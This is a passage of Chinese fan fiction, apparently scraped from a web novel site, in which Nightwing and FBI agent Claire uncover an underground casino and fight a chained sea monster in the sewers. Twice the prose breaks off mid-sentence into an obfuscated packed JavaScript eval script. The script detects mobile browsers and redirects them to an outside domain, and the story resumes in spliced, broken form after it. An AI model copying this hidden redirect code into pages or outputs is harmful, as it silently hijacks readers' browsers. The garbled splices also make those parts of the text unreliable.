到底是她的运气好，还是她其实是一个扮猪吃老虎的高手？ 酒保第三次端详她的脸，分析她的表情。纤长浓密的睫毛半遮住她的瞳孔。酒保注意到她的眸光发颤。 他怀疑着，缓缓翻开最后一张牌。 红心Q。 五张牌，同一个花色，同花！ 约翰沉默地亮出牌。方块4和梅花7，他是最差的高牌，凑不出任何牌型。 卡莉法的身体剧烈颤抖，半晌，她深深吸一口气，强迫自己稳住表情。 “真可惜，我以为自己要赢了呢。” 两张牌翻开，一张是红心4，另一张是红心2。 同样是同花，但依次对比最大的单牌，她输了！ 酒保的心彻底沉在肚子里，果然，卡莉法和他想象中一样，是一个仅凭运气就敢在赌场拼杀的没脑子蠢货。 他愉快地收拢赢得的所有筹码，安慰道：“这次是你运气不好，明天我们继续。” 卡莉法将散乱的鬓发归到耳后，挤开人群朝外走，“明天再说。” 约翰连忙追着她跑出去，“卡莉法小姐，你家在哪儿，我送你回去！” 酒馆的客人稀稀拉拉，她们穿过空荡荡的卡座，离开酒馆，并肩走过无人的小巷。 阴云沉沉，灯影寂静。克莱尔脱离了“卡莉法”的角色，忽然对身旁的男人道谢，“谢谢你替我吸引他们的注意力，我正愁找不到机会换牌。” “我猜到你要作弊了。”约翰狡黠地挑起唇角，“酒保和围观的那群人一直有意遮挡我们的视线，是不想让我们发现其他客人去了哪里。他约我们打德/州/扑/克，不仅是为酒馆真正的生意打掩护，也是一场小小的测试。” “红心酒馆，我看它的真名是红心赌场。”克莱尔双手抄进外套口袋，“是啊，赌场不需要太聪明的客人。” “所以你要输，不能赢。” 约翰与她肩擦着肩，“都是同花，公开牌的顶牌是红心Q，你的牌比酒保大，换掉的那张牌是红心K。你把它换成了哪张牌？” “红心K换了红心2。”克莱尔站定。 她们停在路灯下，灯光在晦暗的街道上印下昏黄的圆。飞蛾扑撞灯火，滋，滋。 克莱尔抬手，她的掌心温暖，贴着约翰的脸，一寸寸描摹他的面部轮廓。指尖抚过眉骨时，约翰捉住她的手腕，制住她的动作。 “太亲密了，女士。” “在休伯特的公寓外偷窥我的人，是你吧。”不是疑问句，是肯定句。 克莱尔抽回手，神色坦然，胸有成竹。 “我看到你的第一眼，就感觉到了不对。赌局中我总是在看你。” 约翰没有反驳偷窥的指控，“我以为是我的个人魅力吸引了你。” “是你的表情不自然，光学面具做微表情时会有零点几秒的延迟，而我恰好上过微表情分析课。”克莱尔说。 她一眨不眨地注视灯下这张违和的脸。 “我该怎么称呼你，约翰，还是夜翼？” 良久的沉默在夜色中晕开，约翰呼出一声轻笑。 他将手抬到颈后，探入衣领。一圈圈波纹在他的面上扩散开，如同雕刻家精心雕琢了一尊人像，现在要拂去人像脸上的灰尘与石屑，令他最满意的脸重见天日。 克莱尔看见一副多米诺面具，恰到好处地藏住男人的五官。 布鲁德海文最神秘也最出名的超级英雄亲昵道：“夜翼，N或者Wing，选你喜欢的方式喊我。” 4. 第 4 章 迪克总是会想起他和克莱尔分手的事情。 克莱尔的工作要求随叫随到，难有一个完整的假期，迪克的排班同样很紧张。他们精挑细选，反复确认，选中了一个两人都有空的日子约会。 游乐园是迪克的提议，他叽叽咕咕磨了克莱尔很久，克莱尔嘲笑他，“你的审美也太老派了吧！” 她的挤兑没有恶意，一灰一绿的眼睛里含着畅快的笑。她是一阵凛冽爽利的海风，光是经过迪克身边，就令他心生欢愉。 迪克忍不住亲吻那双含笑的眼，含糊地恳求：“答应嘛，游乐园很棒，你一定会喜欢的。” 克莱尔的睫毛贴着他的唇颤抖，她悠悠道：“给你一个机会说服我，你有六十秒。” 她最终很轻易被迪克说服。双人票上的日期变成了长久的期待，它到来前的每一天，他们都在谈论它。 “下个月我们就要去游乐园，你做好攻略了吗？” “首先，摩天轮放到行程的最后。” “半个月后我们就要去游乐园，我到时候想穿这身衣服。” “很不错，但和你平时有区别吗……我没让你穿西装！” “下周我们就要去游乐园了，我和同事换好了排班。” “卡莎给我批了三天假，除了游乐园你还想去哪儿？” 他们对那一天灌注了那么多憧憬，好像它已经在他们的幻想里到来过无数次。但布鲁德海文出现新的不安定因素时，迪克仍第一时间选择处理掉在街头横行的帮派。 那是一个由三位超凡者组成的小组织，比迪克预估得更棘手，他本以为自己解决他们只需要三天，然而时间延长到了五天、六天、七天。 第六天的夜晚无缝衔接了第七天的清晨，时间轻轻一跨，走进迪克在日历上圈出的红圈里。 最后一个组织成员被夜翼交到警察手里。迪克筋疲力尽地翻进窗户，他想给克莱尔打电话，又想用手机给自己定好闹钟。 拿到手机前，他昏睡——或者说晕厥过去，像一个倾倒的垃圾袋，黏在客厅的地毯上。 等他醒来，他意识到自己错过了和克莱尔约好的时间。迪克抓起手机，手机因为没电变成了一块板砖。他从窗户里望去，克莱尔开来的车就停在公寓楼下。 他不知道克莱尔有没有给自己打电话，不知道克莱尔是否上来过，是否发现自己穿着夜翼制服倒在地板上。 迪克匆忙脱掉制服，冲进浴室，寄希望于水流能冲走汗臭与疲倦。他连头发都没吹干，也没穿上自己选好的“约会日套装”，只随便套了一件干净的T恤与长裤。 车窗开着，他看见克莱尔用手拨弄仪表台上的小摆件，那是她哥哥的车，她哥哥一直不喜欢他。 后面的事，迪克记不清了。太尴尬和太难受的场景总会在记忆里模糊，他最后的印象是克莱尔对他说：“分手，再见。” 她开走了哥哥的车，把迪克甩在原地。迪克慢腾腾地挪回一片狼藉的公寓，给没电的手机充电。 他发现了克莱尔打来的电话、发来的消息。他回复：“我很抱歉。” 制服东一件西一件散落在房间四处，皱巴巴像蜗牛的壳。迪克是一只蜗牛，在沮丧与泄气中缩回了自己的壳里。 他永远、永远都没办法平衡好自己的生活。 分手后他给克莱尔发了很多消息、打了很多个电话，克莱尔从来不回复。日历停留在画了红圈的那一页，再也没往后翻动。 迪克以为这与他之前的每一次分手没有任何区别。他总是因为夜晚难以坦白的秘密与各种各样的人分开，他以为自己习惯了一次次重复由结伴同行到孤身一人的伤痛，习惯自己与平凡的、日常的幸福隔着咫尺天涯的一步。 他很快会忘记此刻的难过，克莱尔也会忘记他，分手的这一天会淡化成他们人生中无数个普通的一天。 有意无意，迪克忽略了他们同在一座城市的事实。他们因警局与调查局的联合行动相识，等到他们的感情破裂，联合行动还在收尾阶段。 警局的同事不知道两人已经分手，在作战会议上对迪克挤眉弄眼。 “我们要出一组人支援FBI的克洛宁，你们谁主动报名？” “报名的人将与迪克单挑。”他们自说自话，嘻嘻哈哈，“让他去吧，克洛宁是他的女朋友呢！” 迪克张了张嘴，拒绝与澄清的话迟迟没说出口。支援组的名单上多出了迪克的名字。 同事们体贴地给迪克安排了距离克莱尔最近的位置。他藏身的屋顶视角绝佳，能透过窗户看清克莱尔在花店中的一举一动。 花团锦簇，鲜花簇拥克莱尔，而她是花中之王。 迪克远远望着她，看她老练地伪装成一个痞里痞气的街头药贩，如果不是外置小队出了问题，她能把光头壮汉和他的打手耍得团团转。 分手后的第一个重逢，他见到了从没见过的克莱尔。她在盛满花朵的花架间与打手们周旋，战斗赏心悦目，仿佛受邀出演一部舞台剧。 支援组的队友就在身边，迪克清晰地听到自己的心跳声在他们的小声议论中逐渐变大。他往角落里挪了挪，希望压住心底鼓噪的回响。 队友忽然提高音量怒骂：“谁负责检查现场的？车钥匙还插在锁孔里，那小子要开车跑了！” 克莱尔已站在院中，手臂抬起，她要开枪！ 她瞄准的是哪里？ 轮胎，还是打手的脑袋？ “格雷森，你干什么！” 在大脑运转之前，迪克飞身落下，稳稳地落到皮卡车顶。克莱尔惊愕地看着他，下意识将枪口偏转。 迪克很少在警局炫耀自己的身手，这是为了隐藏他的秘密身份。眼下他顾不得这些，只庆幸自己在克莱尔将目标一枪爆头前赶上了。 他迅速收拾了堪堪保住一条命的幸运儿，拔掉车钥匙。 有人在门外狠狠拉开车门，面上的恼怒与分手那天一模一样。 心跳声盖过了他们的对话。迪克对她微笑，“好久不见，前女友。” 一个念头悄然升起。 他想克莱尔重归于好。 这有什么不好呢，他们之间没有不可调和的矛盾，迪克的心仍会为她感到悸动，他相信克莱尔也是如此。 后面发生的一切，都顺理成章。唯一的变数是游艇下浮出水面的人腿。 迪克快速进入了调查状态，在调查结束后，他会找时间处理自己与克莱尔的事。 他的情报与警方同步，严格来说比警方和FBI更全面。迪克调查了死者休伯特的银行流水，他最近取出了一大笔钱，有几个账户来自布鲁德海文有名的大赌场。 夜翼去拜访了赌场的经理，一番不算友好的交流后，赌场经理告诉他，休伯特曾经是几个大赌场的常客，但最近他不爱来玩了。 死者既是药品//贩子，又是赌徒。迪克猜他有新的地方找乐子。 布鲁德海文的赌场就像阴湿丛林里的蘑菇，一不留神就从角落里冒出来。 下一站是休伯特的单身公寓，有人先迪克一步到达。克莱尔实在是很敏锐，迪克在窗外多看了一会儿，险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171370|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她抓个正着。 他没想到案件居然从海文重案组转交到FBI手上，正好由克莱尔负责。这意味着他可以利用前男友的身份打探克莱尔手上的情报。 克莱尔离开了休伯特的公寓，她走过两条街，推开一家酒馆的门。 迪克记住酒馆的名字，赶去最近的装备存放点。迪克脱掉制服，拿起属于“迪克·格雷森”的衣服。 制服柜的玻璃门上映出他的脸，年轻、英俊，是克莱尔喜欢的模样。 迪克攥着制服的手紧了紧，他扭头避开了玻璃上的模糊影像，目光扫过工作台上的光学面具。 几分钟后，一个名为“约翰”的男人出现在红心酒馆门口，模样平凡的光学假面下是夜翼的多米诺面具。 他一眼望见吧台前的克莱尔。 她漫不经心地谈论他，“前男友，不久前分手了，我不是很想见到他。” “我敢说他是一只糊涂虫，虽然我不知道发生了什么，但肯定是你前男友的错。”迪克轻松地说着自己的坏话，占据了克莱尔身边的位置。 他注意到克莱尔眼里的审视，弯唇。 “我是约翰，你们好。” 克莱尔没有把注意力过多放在他身上，她专注于应付与她搭话的酒保。酒保神色里那分焦急就好像破布边缘的一根线头，是一个方便好用的突破口。 果然，没聊几句，酒保提出他们三个人可以打一局德/州/扑/克。 克莱尔很快地眨了眨眼，这是她得意时的一个小动作。迪克不动声色地配合她，扮演两个跃跃欲试的赌客。 几场下来，他们身边挤满了人，有人帮酒保作弊，有人挡住他们的视线，使他们难以看清那些消失的客人究竟去了哪里。 迪克摸透了酒馆的情况，他想要速战速决。 “Show hand！”他决定退场。 另一个声音也道：“Show hand！” 克莱尔推出所有筹码，嘴角噙着笑。她用胳膊压住底牌，指尖叩着吧台，袖口低垂。 她什么时候偷偷藏了一张牌？ 迪克想笑，他按耐住“约翰”外壳下的自己，他作为“约翰”感到恐惧和压抑，这是一个赌徒的本能。 “我封牌。”他哑着嗓子说。 他尽心尽力地演出，用上了酒客们一样的手段，为克莱尔作弊创造机会。 克莱尔的胳膊挪开几寸，露出两张牌的一角。她的笑容里多了些促狭的味道，迪克心里也跟着笑。 他们都故意输给了酒保，为下次探索红心酒馆的秘密做准备。两个佯装失意的人一起离开酒馆，并肩走过夜晚安静的小巷。 克莱尔开始复盘今晚的细节，迪克听着，余光瞥见她的发丝上沾了纸屑，他想把它拨掉。 他们默契地在路灯下停住脚步，风与光都很安静。迪克想伸手触碰克莱尔金线般的长发，克莱尔先一步抬手抚摸他的脸。 她的掌心温暖，粗糙的茧擦过光学面具下的皮肤，带来电流窜过般的微小刺痛。迪克的喉结滚了滚。 她看着他，只看着他。迪克在她的眼睛里看到“约翰”，看到夜翼，看到迪克·格雷森。 “我该怎么称呼你，约翰，还是夜翼？” 他究竟想以怎样的身份，站到她跟前呢。 夜翼，还是迪克？ 一重重倒影重叠，变成克莱尔眸中的一个人。 震耳欲聋的心跳声令他几乎听不清自己的回答。 “夜翼，N或者Wing，选你喜欢的方式喊我。” 5. 第 5 章 “你最近有时间吗，我家附近新开了一家很棒的西班牙餐厅，要不要一起尝尝？” 发信人是迪克，克莱尔挑起一边眉毛，回复道：“我看上去很闲？” “很忙。”迪克说，“正因如此，我要抢在所有人之前约你，等你有空，请第一个想到我。” “格雷森，”克莱尔斟酌了一小会儿，决定直说，“你从前没有这么油嘴滑舌。” 迪克回给她一张笑脸，“：）” “他家的海鲜饭和炖汤真的很好吃。” 他发过来许多张照片，都是那家餐厅放在网上的宣传照，食物的香味简直能飘出手机屏幕。迪克精准地把控住克莱尔的喜好，海鲜饭和炖汤是她最喜欢的两道菜。 克莱尔没有半点意志力地妥协了，“等我有空联系你。” 她把手机揣回口袋里，给走出会客室的同事递去装满咖啡的一次性纸杯，“死者家属怎么说？” “死者的儿子刚开车从中心城赶过来，脾气不太好，哈。”特工哈伦靠在桌边，愁眉苦脸地喝咖啡，“可以理解，一个又赌又毒的人渣总是不讨人喜欢。” 应付一个愤怒无处发泄的死者家属不是容易的工作。克莱尔扔给他一根能量棒以表同情，“所以，我们一无所获？” 哈伦嚼着能量棒，耸肩，“休伯特早就和所有的亲戚朋友断了联系，他的儿子上次碰到他，他说他改过自新，加入了教会，希望他们能支援他一笔钱。” 克莱尔边听他说，边翻看死者的资料。轻飘飘的几张纸记录了休伯特的生平，右下角被翻到卷边。 “我拜访了布鲁德海文所有的教会，没有一个人认识他。这家伙只是找借口从儿子手上骗钱。” 哈伦说着，视线扫过大厅上方的挂钟。 “哇，下午六点，我得回家了。”他迅速将桌上的文件塞进抽屉，挎上背包，“我的小天使等我接她放学呢！” 克莱尔挑眉，“我们可是FBI，工作是我们的全部。” “忘了FBI的骄傲吧，在神明与怪物的时代，我们只是装饰品。”哈伦潇洒地摆摆手，“现在是下班时间，我要接女儿放学，你要回家。” 电梯吞没了他的身影，越来越多的特工收拾好背包，挤在楼梯口等电梯。 布鲁德海文办公室本就是联邦调查局的流放之地。小案件归警察，大案件归超级英雄，哪里都轮不到他们。 哈伦的观点是大多数人的观点。特工与警察在超能力、魔法与高科技对轰的特殊情况下，一群是穿西装的花瓶，另一群是穿警服的花瓶。 克莱尔收起资料，舌头打卷，弹了两声响。 卡莉法从她背后路过，调侃道：“是不是对我们的未来感到绝望？” “没有，”克莱尔说，“我在想今晚去哪里找乐子。” 找乐子当然是去红心酒馆。 这几天她每晚都来红心酒馆报道，参与酒保组织的各种小赌局。她玩了□□、21点和骰子，甚至在酒保的撺掇下加入一场轮盘赌。 赌博的结果有输有赢，克莱尔赢得更多。她每次加入赌局，酒保都会耍一些小手段。 今晚是收网的时候。 克莱尔占据了酒馆的一张台球桌，慢条斯理地给台球杆上巧克粉。 一位酒馆常客双手勾着肩上的台球杆，笑嘻嘻地挑衅她，“卡莎，你会打台球吗？” 卡莎是卡莉法的昵称，卡莉法是她在红心酒馆使用的化名， 克莱尔认得这家伙的脸，他经常配合酒保，在赌局中做些讨厌的小动作。 她弯腰俯身，手掌按住台面，轻轻握住球杆，出杆！ 黑八弹库三次，精准坠入对角口袋。 克莱尔微微一笑，同时回答：“不会。” “好球！”她背后绕过一只手，取走她手中的台球杆。 化名“约翰”的夜翼冲她俏皮地眨了眨眼睛。他握住台球杆的姿态轻盈优雅，俯身时的肌肉曲线流畅美丽，如一只蜇伏待机的捕食者。 克莱尔有意观察他的动作，他察觉到克莱尔的目光，却没有看向克莱尔。 先前挑衅克莱尔的酒客阴阳怪气道：“他以为自己的台球大师，可他连一个小白脸都算不上。” 话音刚落，约翰瞬间甩狙出杆，台球桌上的粉球消失了，只有母球滴溜溜旋转，滚到他伸展的手臂边。 粉球落袋的速度太快，酸言酸语的酒客几乎没捕捉到它的残影。约翰击出极端暴力的一球，转向克莱尔的笑容却温顺又美丽，与他平凡的伪装格格不入。 他轻巧地将台球杆放到墙边，没朝哗然的酒客们看上一眼，对克莱尔道：“你不加入，游戏有点无聊。” 克莱尔唇角一勾，“你想和我比一场吗？” “较量的机会留给下次吧。”掌声传来，酒保鼓掌走出吧台，调笑两位新招揽的客人，“你们把他们吓到了。” “无所谓，”克莱尔坐上台球桌，“我只是想玩点更刺激的。” 酒保挥挥手，示意围拢在台球桌边的好事者们散开。他压低声音，神神秘秘道：“卡莎、约翰，你们不是第一次来红心酒馆了。猜猜看，我们为什么能招揽这条街上最多的客人？” 克莱尔犀利道：“肯定不是因为酒水。” “你伤到我了。”酒保假模假样捂住心口， 他走向吧台后的酒柜，“跟我来。” 红心酒馆销售量最高的是各种啤酒，酒柜里横放着一个个半人高的啤酒桶。它们恰到好处地挡住酒馆大厅众人的视线，酒保打开隐藏在两架酒柜中的暗门。 三人跨过暗门，摸黑向下，走过一节曲折的楼梯。黑暗过后，光亮大盛！ 与光明一同到来的是嘈杂的人声。 酒保骄傲宣布：“朋友们，欢迎来到真正的红心酒馆！” 明亮的灯光下，猩红的地毯上，五十张赌桌依次铺开，密密麻麻的赌徒如聚集在麦苗上啃食茎叶的蝗虫，赌到两眼发红。 赌场内无窗无钟，制氧机嗡嗡运作，为地下赌场灌氧。浓郁的香味让克莱尔的鼻子发痒。 克莱尔饶有兴致地看了一圈，道：“你们的赌场没有我想象中大。” “布鲁德海文有很多大赌场，它们都不好惹。”侍从为他们端来三杯香槟，酒保端走其中一杯，“而我们的优点是知足，只想捞一笔他们指缝里漏出来的残渣。” “知足常乐。”约翰说，“你们的上限是多少？” “一场赌局最高只能到两百万美元，这是我们的规矩。”酒保说，“如果客人想玩更大的，可以去更大的赌场。红心酒馆不会对任何客人进行人身攻击……除非他们出老千。” 他与约翰和克莱尔碰杯，“愿幸运之神眷顾你们，玩得愉快。” 他的背影消失在黑暗中，侍从接替了酒保的位置，守在两人身后。 约翰问克莱尔，“你想玩什么？” 克莱尔注意到休息区的吧台边坐着一个男人。他是一个年轻人，穿夹克外套和皮裤，在一群衣衫不整的赌徒中整洁得很显眼。 更值得关注的细节是，他大拇指的戒指印有“金融公司”的标志，夹克口袋里的笔记本边缘磨损严重。他不参与任何赌局，只在吧台喝酒。 赌博与高利贷就像小丑鱼和海葵，是互利互惠的共生关系。很明显，年轻人是红心酒馆的放贷人，他的工作是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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约翰倒退几步，砸进一张围满客人的赌桌里，怒吼：“那就来啊！” 在地下赌场闹事的后果就是，醋海翻波、打架斗殴的三人都被赶出了赌场。 克莱尔装得怒气冲冲，冷脸道：“谢谢你们让我丢人现眼，真是一个扫兴的晚上，我要回家了！” 约翰背对杰克对她做了几个口型：没输钱。 克莱尔迅速压住弯起的嘴角，冷哼一声，拎包就走。 约翰朝杰克扫了一眼，双手插兜，走进黑暗。 两人走向两个不同的路口，杰克阴沉着脸，最后看了眼卡莉法摇曳生姿的背影，拔腿追向约翰。 小巷里无灯无光，这本是为了掩护出入赌场的客人们，现在成为约翰的避难所。他在杰克身前越走越快、越走越快，不知哪一瞬拐进他看不见的路口。杰克后知后觉，自己闯进了一片陌生的巷道中，高墙投下的阴影比黑暗更黑暗。黑暗中，亮起一抹蓝。 他的动作快如疾风，单手扼住杰克的脖子，将他贯到墙上。 疼痛、窒息因恐慌千百倍放大，杰克努力睁大眼睛，只能勉强看清来者胸口蓝幽幽的鸟形标志。 “休伯特·泰勒，你认识他吗？” 问句低沉，杰克颤抖着想要否认。深巷寂静，有人吹起一声响亮婉转的流氓哨。 它破坏了恐惧的氛围，杰克满载思绪的脑袋忽然一空，停止运转。 他好像听到夜翼好笑地叹了一声，但他捏住杰克脖子的力道更重了。 “你听错了。”他说。 “休伯特·泰勒，他找你借了钱，是吗？” 6. 第 6 章 克莱尔后背靠墙，摘掉遮蔽瞳色的美瞳。 她隐在暗处，旁听夜翼审问杰克。 夜翼面对友人和敌人是两张不同的面孔。任何一个人瞧见他掐住敌方脖颈时安静又暴戾的模样，都会忍不住吹出一声长长的口哨——尤其是你知道他对自己有多友善。 太辣了，这样显得克莱尔意志力很薄弱，是一个查案时分神关注男人屁股的色中饿鬼。不妙，不妙。 “休伯特·泰勒，他找你借了钱，是吗？”夜翼问。 杰克惊恐地望着他，嗓子里挤出仓皇的气声，“什么……泰勒？” “休伯特·泰勒，一个赌徒，一个药头。他是红心酒馆的常客，别告诉我你不认识他。”夜翼松手，任由杰克软软地滑下去。 杰克捂住喉咙，如一台破损的风箱般抽气。他半天才回神，“休伯特……休伯特，我记得他。他从来没找我借过钱！” 此话一出，阴影里外的克莱尔和夜翼俱是眉头一皱。 杰克小心翼翼地道：“他经常在赌场玩，我接触过他几次。但他赌运很好，一直在赢，赢几场就跑，再也没来过。” “错了！”两个声音异口同声道。 克莱尔冲出阴影，急促道：“休伯特是一个不吸毒的毒贩，我们以为他是沉迷赌博所以缺钱。但事实恰恰相反，他是为了大笔捞钱，才会去贩毒赌博。” 夜翼接着道：“这就是为什么他不再光顾海文的大赌场，他惹不起那些心狠手辣的帮派分子和超级罪犯。红心酒馆的赌场很小，他以为这是一颗软柿子。” 一个急切贪婪的赌徒，要怎样保证自己能在赌场百分之百赢到钱？ 作弊。 而红心赌场不饶恕任何一个出千者。 他们得回红心酒馆，探探埋藏在赌场下更深更隐蔽的黑暗。 午夜时分，酒馆内喝酒聊天的酒客三三两两离开，只剩几桌客人猫在角落里。一缕风自高处吹过，酒保警觉地向后看，一切如常。 克莱尔和夜翼已经进入暗道。两人原路走到暗道底部，隔一扇门就是酒馆的地下赌场。 夜翼的多米诺面具附带夜视功能，视线在无光的环境中不受影响。他很快找到新的暗门，示意克莱尔跟在他身后。 第二重暗道更狭窄陡峭，台阶湿湿滑滑，墙壁上挂着湿漉漉的水珠。 走到这里，不必再担心惊扰酒馆的安保。克莱尔以一手持枪一手举战术手电的姿势警惕前行。 “你有没有听到……” “水声。” “对，水声。” 战术手电刺眼的白光撕开黑暗的一角，他们走下最后一级台阶，面前是布鲁德海文污水翻涌的下水系统。 浓郁的腥臭味扑面而来，克莱尔用战术手电环扫四周，发现宽阔的水面被厚实的钢质闸门分割为两段。她们位于被封死的这段，只能透过闸门的缝隙窥见外头的水波。 暗门的推门处被磨损得锃光瓦亮，夜翼用指尖一抹，没有灰，证明最近常有人出入。 他正要转身喊住克莱尔，不料异变突生！ 平静的水面忽然掀起滔天巨浪，腥臭味随层层浪花扩散，愈发浓重，战术手电的光柱擦过水幕后的一团黑影。 眨眼间，黑影冲破水幕，紧逼到二人身前！ 夜翼正要捞克莱尔一把，发现她已狼狈地翻滚躲开，反倒是他自己因为这一刻的分神错失最佳的闪避时间，在气浪中摔飞出去！ 水如雨落，打湿他的制服与头发。视野里充满水汽，夜翼如芒在背，卡里棍中的钩索机关弹开，卡住穹顶的砖缝，将他拉入半空！ 他原本站立的地方多出一个突袭的影子，水雾散去，他们终于看清袭击者的样貌。 他拥有人类男性的形体，全身上下只穿着一件破破烂烂的短裤，正湿漉漉地向下滴水。左右脚踝各铐住一只沉重的镣铐，铁索延伸进水中，看不到尽头。 人类……海怪大部分皮肤呈现出森冷的死白，小部分灰暗的绿色在肢体的边角层层过度，如同逐渐增厚的角质层或鳞片。两道裂缝在他的脖颈左右不断颤抖，像是活跃的鱼鳃。 无论是布鲁德海文还是哥谭，都出现过他这样的怪物，比如杀手鳄和逆戟鲸。与他们不同——夜翼后背升起一层毛汗，他在这只类人的海怪眼中看不到一丝人性。 三枪瞬发！ 三颗子弹命中同一处，在海怪粗糙的皮肤上擦出火星，未能伤到他分毫。 海怪发出低沉、嘶哑的嚎叫，扑向朝他开枪的克莱尔！ “小心！” 铁索拖行的刺耳声响盖过了夜翼心焦的提醒。战术手电远远甩到一边，白色光柱回旋，依次扫过面孔狰狞的海怪、惊慌焦灼的夜翼与灰头土脸的克莱尔。 一根卡里棍飞掷而来，顶端电光闪烁，蓝色电弧借未干的水滴流窜在海怪流窜，一时间昏暗的下水道被莹莹蓝光填满，克莱尔就地一滚，躲进角落。 她的左臂不正常地微颤，克莱尔皱眉握住脱臼的手臂，嘎啦一声复位。 而海怪彻底被迪克激怒，他顾不上脚边逃脱的虫豸，疼痛使他愤怒地嚎叫，攻击目标牢牢锁定身后的夜翼。 战术手电的光在陈旧褪色的红砖墙上投出一大一小两个影子。 他们交手的速度极快，光影变化令克莱尔眼花缭乱、目不暇接。唯有□□碰撞的沉闷声响与铁索搅动的破风声剐蹭她的耳蜗。 夜翼真是一位了不起的格斗大师，他太可怕了！ 下水道本就不是适合的格斗场所，深不见底的污水占据了大部分空间，仅有两侧的小道供人通行。 可夜翼的落脚点可以是任何一处，小道、墙壁、闸门，甚至是海怪的肩头。他就在狭窄的落地点之间闪避腾挪，姿态轻盈如同一只蓝黑的蝴蝶扑闪翅膀。 可惜优势不会因为他的表演足够华丽，就落到他们这边。海怪皮糙肉厚，除了卡里棍附带的高压电击，普通的拳脚完全无法对他造成伤害。 克莱尔全力奔向他们来时的入口，那扇与墙壁融为一体的暗门。 她拽开暗门，目露惊喜。 从厚重的钢制闸门到海怪脚踝上的铁铐，种种细节表明，海怪是被人为豢养在这儿的。 这意味着，出入口附近必定有触手可及、便于启动的机关，防止海怪失控伤害他的饲主！ 才接上的左手与右手一起用力，狠狠压下暗门后的推拉杆。 机关运转的闷响迟钝地从水下传来，铁索寸寸收紧，要将海怪拖回水底的牢房！ 海怪无法理解自己现在的处境，他嘶吼着，带蹼的手爪深深抓进地面，每块 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腥臭的污水飞溅，海怪破水而出，满是利齿的血盆大口张开，咬向夜翼。 同时一道闸门应声落下，封死暗门的出入口，另一道闸门抬升，开放封死的水域。 这是海怪牢笼的后备机关，当海怪挣脱束缚，闸门会把他和喂食的倒霉蛋们一起关在这里，希望吃饱喝足的海怪能自行离开！ 克莱尔紧紧握住枪，扬声道：“你觉得他哪个地方比较脆弱？” 与怪物缠斗的夜翼给出了肯定的回答，“眼睛，他的眼皮不够坚硬。” 没有光，没有射击条件。克莱尔的脚碰到了某样东西。 是夜翼先前为了吸引海怪注意掷出的卡里棍！ 克莱尔踩住卡里棍一端，挑飞接住，甩向夜翼，“接着！” 夜翼抬臂，卡里棍正正好落进他手里。 霎时间雷光大作！ 奔腾扭曲的雷蛇照亮了所有黑暗，如同一盏过分明亮的灯。 又一次，枪响三声，漆黑中绽开花朵般的枪口焰！ 一颗子弹跟着一颗子弹的末尾，三颗子弹排成一线，精准、无情地扎进海怪的右眼。 鲜血迸溅，海怪哀嚎一声，钻进水下。 水面久久不曾平静，最后余下轻缓的波纹。夜翼与克莱尔警惕地抵挡了一阵，确认海怪离开了他盘踞已久的囚室。 克莱尔揉了揉胀痛的左臂。夜翼走近，握住她的小臂。 克莱尔眼风一扫，他不好意思地笑了笑，手上动作却不停。 “手臂脱臼以后要减少剧烈运动，我学过推拿，你能舒服点。” 他牵住克莱尔的手臂，一拉一拽。大拇指富有技巧地搓按手臂上的穴位。 环节处的胀痛好了许多。克莱尔尝试摆动手臂，“真有效，你跟谁学的？” “一位长辈。”夜翼说。 半晌，他唇角翘起，弯出一个笑。 “还不错吧，我不是指我的推拿技术，是指……” “我俩的合作？”克莱尔抬眉，“相当完美。” 她的拳头抵住夜翼的胸口，轻轻一碰，“合作愉快，Wing。” 7. 第 7 章 “死者休伯特·泰勒因缺钱加入布鲁德海文的街头药帮，向学生大肆兜售违禁药品。在海文警方与调查局联手打击药帮后，休伯特改变策略，半退出帮派，转去赌场作弊捞金。” “他在大赌场里赌过几把，不敢触怒赌场背后的大人物们，于是把目光放到了红心酒馆的地下赌场上。不巧的是，红心酒馆也并非他能惹得起的存在。休伯特出千被抓，被送进下水道，给赌场饲养的海怪加餐。” “法医在下水道采集的证物中检测出了休伯特的DNA，足以证明那里是第一案发现场。其余人正沿下水系统排查追踪海怪的位置，但我不看好结果。” 克莱尔摸向桌上的点心碟，偷了一袋饼干，“这就是本案的基础情况，请开始提问。” 卡莉法瞥了一眼出现缺口的点心碟，问道：“首先，你提到休伯特是海怪的食物，但我们找到的尸体还算完整。” “哈伦正在审讯室审问红心酒馆的主人——那个酒保，据他所言，海怪不怎么挑食。休伯特是一个例外，酒保也不知道为什么他没有老实待在海怪肚子里。” “又是一个未完待续的谜团。”卡莉法皱眉，“第二个问题，他从哪儿搞来的海怪。” 克莱尔凉凉地笑了一声，“他在路边捡的。布鲁德海文真是一座神奇的城市，随便哪里都能捡到方便好用的怪兽打手。” 卡莉法眉心的褶皱加深，她朝办公椅的更深处陷去，像是抽掉了几根骨头。 “第三个问题，休伯特搞来的钱都去哪儿了？” 克莱尔摊手，展示她空空如也的掌心。 “他临死前把账户里所有的钱都换成了现金，一共三百万。现在那笔钱消失了，我们一无所获。” 办公室内的沉默很不友好，卡莉法慢悠悠地说：“你知道整起案件最大的笑点是什么吗？” “休伯特贩毒、赌博，最后被赌场的海怪撕成十几块。他赚来的三百万买不起布鲁斯·韦恩开的一辆豪车。” 和布鲁德海文最有名气的几家赌场相比，红心酒馆也只有一只甲壳虫那么大。 “韦恩已经是世界上最有良心最有道德的有钱人之一了。”克莱尔撕开第二袋饼干，“我愿意为他说几句好话。” 卡莉法把点心碟推到她手边，“下周一我要看到完整的案件报告。你的游艇在走证物流程，短时间内回不来，你最好换一个住处。” “收到，长官。我讨厌案件报告。” 